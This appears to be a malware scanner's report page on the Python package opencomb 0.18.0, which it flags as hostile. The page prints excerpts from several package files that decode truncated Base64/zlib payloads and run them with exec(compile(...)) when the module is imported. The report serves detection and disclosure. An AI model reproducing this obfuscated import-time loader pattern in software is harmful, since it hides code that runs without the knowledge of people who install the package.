Hostile 100% python Download

opencomb 0.18.0

Obfuscated base64/zlib exec payloads at import

“OpenComb – Everything developers need: combine, merge, pak, init, check, recipes & more”

Packed Python dynamic executionPython execs a Base64-decoded packed payload

Evidence

Decodes Base64 data with Python templates_a1.py · lines 1–4
1"""templates_a1.py (compressed, verified)."""
2import zlib, base64
3_CODE = zlib.decompress(base64.b64decode("eNrNXHtz47YR//8+BY4dt1Qi0Y9c2oxaeurYvtw157PHVpp2LA1DkZDEmCJZkrKteNzph+gn7Cfp7gLgS6As++zk8rD4ALCLxe5vF8slDcMY8HkSujln40UQ+jzNmJnLS5nj7lrJssP+95//sskiDBlcDiKWxYvU410WxeyXMBhbhmG8mqTxnDnOZJEvUu44LJgncZozN4ri3M2DOMpeiTZxwiMvno+tksrYzbjq8DYI+UXCvS5zkqsp/l0mafwz93I4ngZ5MI3ilL969crnE+ak3PXn3IzcOe+zLE+7bBz7SzrssN5+MVr/FYN/Ug7MRcVF0zg/Pjg6ObbmvtFlxu/YVjaMhhH+NdgWo1HFgBaMFyRmp9NRhIMoyE0iAbdqo//Bca5BijBjkILNjB1r19oxhtEfVFeYcZ452Ty+4iZMUfLNb/PUpWPsZNDQYZDll4rbkaCC7EALk07wHwMHxTEVWbPThwmU9/GPFC5NrX7HzTIOd6YcVilPza2sy4ZGZQpDAy/QJIZGB+VjaEhPgltcd9ONlo7v5q6GBUlItbgcGvHV0BjV2pX8dXABSAHoD0mnUxXzZdGrXE6S7LYXRxM8As3FZZVTT5Z4Dfn/qzi0JM/DCGeh2CLhVcjcCTb7bJAu+D1w1+m2EiZJ0LoK0rhU2uaSAdAhZPBSnIIk8Cdx81kGC0xDDiO4N4sjvAjXstQrORhJfcqT0JnDUHM3LO2gVX0SGAYNi5o+KNDC9qw8nodG1RqldRgngjQLoix3w9Adh5wlrnflTrnR0c7eKqzYqJq0WW1dNWwg8tNPPwFGzEAcQaIosR5nlhIQ681JuaEhmm6iJQzi297Kth0yXsfBRcK2XWXN6zvNAfmqnUoLJNUlbNvKlKVVLahmM4Xd4HgNUy1sJUmDKDe3UvYl2B67hv+/rI7Y0QwZALI4KC5EHZtsWHAMyqulIehXbwmbA1hH1VgnDA+WqxQEzWaacp6bN7NYQdjQuInT0B8aBUjW7GpovONhGHfZ1lb2Gua3tcWgc92+vqhDJVAStkp2Jggqa5XSt5AztQTUQtyW2COJAjlwYmKAoXFLsFbVmlFpWF4YPM2ooGMdpR/2jzUklLfzZcLT2g0aJw28Gcw1yuKwmO6hOG1pnJNhyqYDPFltuIH2Gm6CkyW2rAH+NWc8TOytFKMBx02nmRNkDl1DxKzpl6E4thWzZtOh/BXGtzyw7jFASF07Sc0cb2xK1vqAr3FYMHOaoBDNt26YcfRYvZ5sJxxY7++wzLSAH+OIaxzkhKlxV+7RegqGLWGZk6Fx6S3daLSVXW6P2F1FXvdCnVZHSN0AohzB7PEt4o127vF87ka+ZuozVN1SGZsTL+xNTB7byeNo/cxXZzaOQ5/MIxpJI73D4e5fw1xXY4AH2A6iSWyuIZ/DREgfzTzIQw6atCq+3HJ93/HicDHHiX7Pl8DGn5uX/+6GC66TvmiXxjfQqKIUdUBd00e6M+yj464uwLwpn02BWQRJSVLKsIrH9b/Jc3huMl92+OE93L00SJn2bQj09jAoQdDYt3e/MkZy9fsYnVkAa33gkdDy/tdw74BJpPh0hLpU+HizFEjn2d09zLNsDyftXmnVZ0xcmEDyVL8BwWsw1biOZOm7UR54TsbzPIimBVZ/C5unC3mty9TRIY1zFHh5Qx29EJxh0cys9tYE7fPY5+AFFVOro5s8uoboHwx3aFhwjEZCwTqci4XXWSSokFNFsq10pYnPx4tpgfHoS1aazOIsL8ONHYv+HRor7VBMfVAehJpvdnZ2GhIpBFrOr26DyOkrFTJ9klen5lI/ig0vnB6cve+yd4PB2fGtxwnPV7spBaiu+wkuTxfUlwPyb+rPV5tZcoFlayUQreuX7Eq0Vk0ttaJd5Ubt9nhV6uCxN4vfR2YxD5368SwD5FWLTPM0YbPjhDya5jN7twtrcqvO9mBt20mdLv …
4exec(compile(_CODE, __file__, "exec"), globals())
Decodes Base64 data with Python problem_scanner.py · lines 1–4
1"""OpenComb Problem Scanner (compressed, verified)."""
2import zlib, base64
3_CODE = zlib.decompress(base64.b64decode("eNrVPduS20Z27/yKDlSJAZuDIUejG9dURSvJsRLLVjTjTWUZFgMSzRl4QADBZS6aZWqfUslrksc85xfynk/xl+Sc0xd040JSWVnJusoaonH6dvr0uXfDcZwfMp68TDdL9i5PlzHfsLNVkCQ8Zz///t/YOkpCFhVFxQtWXgYlK+L0hoXpTcLSnC1zHlyxgG2C1WWUcH8weJ1cxFFxyf7ixzfMLa+ipOS5x75ilzwIY14U7OV3b1gBHTCeXFAVx3EGg3Webthisa7KKueLBYs2WZqXDMaRlkEZpUkxGMiytFC/sjgo12m+Uc/FZVVGsX5KV1e81E/VMsvTFYxAl9zpnyXfZOso5vr5EuYVRsmFLog2XIwxDMpgFQdFAfiQL3XRELDF43DIgiKMVqWokAXlZRwtFfA7eBQvyrsMelDlL5K7IXsZxHEASzBkbwBt+GsweMCOPt1/0NorGC3bpCGPP3HTg7PXv3n9/s353y5+eP/q9Xs2ZffOKo/KaBXEzoSNhsy5jC4u4ecYfm54GFUbeDiBByAp+PUQfkXJOoWfp9vBYPDnGrED+pd9A7QIKJsMGPxX8GsOrd9NWFHmjD1gqi/2O4b9wB/RB/xAkv0dw7ap6ioo+UWai6pUUkZlzOvHkJdBFNfPRXVxwQskw7oM11X0PWVAwVi04WUerYxC2dialekCKcIteLz22NFzhk8zgBviws/FjPC/nMMGSCQBCfAuTOAOfc+RcETVy7QojaHJfWFMoAzykoeLAKDWcRqUVAp7G7aqWQzDHvkj9RKRXUwY7OdyJnE/BwgichemFVRxuVgHqxJwOUUoj2ryPE9zVQ9GsK8OVfpz2J0Zz8s7jbOwymnnL4oabTTIGlsceNOU4VvfmAsyJtywPv7jek3cboJbFyY5pNpHonaNH69etOXdQhFZ18IBazMWbpVWSQmTtt/jJrgC2mewHOwKipi9Sba6PgKsEUDNRiBfv6/7mMFw5bCwfVHoX/DSrV8M2QiZ7rg5dwFcT7FIadqqu3qa1pq3yFNUc63BWeMeWq+uOCx1sFmGAVtPmGujoDXyZ888YKS+2qT4m7anVzeKewKE1UUO7PzlEpCgGOdMoJ7IZD5k36cJnyNv2ABgcAF8FRYepNoYaPzTc9ZveQwUXHxqtorrtLhMkZRxZVCAiAWRi4EFvng/kNBFsOaLvErc1SY09uGQtkVaGbv9qT+iVssqA+wByQ4ZYRDBRS8l8EmN+Ay3m5akPnZhU+gmtJd+FWQk0aHTrCqn53nFbYCS33YWi4FO5d9Go5d8dTX9JogLbtJEg0gzX/xYgawbwlNRhtASMgfHkc/AqcSz4Fu3K56V7DX9AcYDXJjxFu2j8HIIQS7XCA+jfFFEH/his3SFYMBVGSKvWaBiAYwBcAvIezRajEajJi8rQcmJkffSU6J/WbhHDpGnKawQ9Ea6Row6COhhhX8TxFfUMRSnMYi7OEquCoEiz2YiD1hxFWXssrrg7Fhoc2XOeWEBYQ+zCbKXWUgdh9gRlrIIODMDrQwL7h3/IioBG04CSF6AVlHBmPAZti+skrNF9OK4/CTYcFGlD3RujQA7VXUEBq3XAk9fTQ0Wp/6DASbsuYH6FoSxmgLzx8wdj05O2ZcM/3itCmuke1xRFxfAA3gcWgvMWi7rBfUCo10j2QWl68EfIpgWuCTCH85eoxTtbi5DRWAXsAbYOUvFWqpNkCDhbpaSLxB5AoGLBgGfYBs8n1Kt1nZYO/fw9li89MfrLfuLXzuDJsDEH8Gbt/Dm07Nd1IWYpKdfgveisbIAYwGMhAVgJ3RzoXgZShghDIVNB8vEKsAz8M8j8Wf8CKgpJZGNj8H1haGkrFIQauL9KqsWJLCB8cNuMIQ56kUAQ40B7qnOwKB/AQBLduKPJg0pfY2qqdbLa1UqNuuN/ZPOeqTA99QZ+U8760hN36hV8E5A0v0N+kLMao …
4exec(compile(_CODE, __file__, "exec"), globals())
Python compile() built-in function templates_a2.py · lines 3–4
3:5667… X7ecabkPKfV69Tw59Zq++xtVvS3TXjigNb7OO3JAY6yGK9ZJoK5x+owuqdEtZ+jXezjm/wAPpN5W")).decode("utf-8")
4exec(compile(_CODE, __file__, "exec"), globals())
Python compile() built-in function templates_b1.py · lines 3–4
3:5327… T6v3xyc/hJfE1vGTiCo/Vkmk1W6et+G/VueePYQnqNdR3xaptxwvjDz5y/9vZG3xEP8BPPeP7Q==")).decode("utf-8")
4exec(compile(_CODE, __file__, "exec"), globals())

Showing the top 5 files — 5 more files (32 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.